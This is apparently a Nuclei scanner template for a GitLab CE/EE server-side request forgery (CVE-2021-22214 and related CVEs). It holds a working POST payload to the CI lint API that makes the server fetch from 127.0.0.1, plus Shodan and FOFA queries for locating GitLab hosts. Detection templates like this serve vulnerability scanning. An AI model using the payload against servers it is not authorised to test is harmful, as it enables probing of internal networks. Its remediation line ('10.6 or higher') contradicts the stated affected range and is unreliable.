GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are:
id: CVE-2021-22214
info:
name: Gitlab CE/EE 10.5 - Server-Side Request Forgery
author: Suman_Kar,GitLab Red Team
severity: high
description: |
GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are:
- CVE-2021-39935
- CVE-2021-22214
- CVE-2021-22175
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the system.
remediation: |
Upgrade Gitlab CE/EE to a version that is not affected by the vulnerability (10.6 or higher).
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-22214
- https://nvd.nist.gov/vuln/detail/CVE-2021-39935
- https://nvd.nist.gov/vuln/detail/CVE-2021-22175
- https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
- https://docs.gitlab.com/ee/api/lint.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2021-22214
cwe-id: CWE-918
epss-score: 0.27806
epss-percentile: 0.97992
cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: gitlab
product: gitlab
shodan-query:
- http.title:"GitLab"
- cpe:"cpe:2.3:a:gitlab:gitlab"
- http.title:"gitlab"
fofa-query: title="gitlab"
google-query: intitle:"gitlab"
tags: cve2021,cve,gitlab,ssrf,vkev,vuln
http:
- raw:
- |
POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{{body}}
payloads:
body:
- '{"content":"include:\n remote: http://127.0.0.1/test.yml"}'
- '{"content": "include:\n remote: http://127.0.0.1:9100/test.yml"}'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'does not have valid YAML syntax!'
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4b0a00483046022100cca228f468c5d3eac3a5cf1bcb6bad9481f8e6d21fe35cf4889fcb434a67d529022100fae0f666157652cf47d50c5d4c1cf26605eddc426e2fc00a011ca1f3b16597f3:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.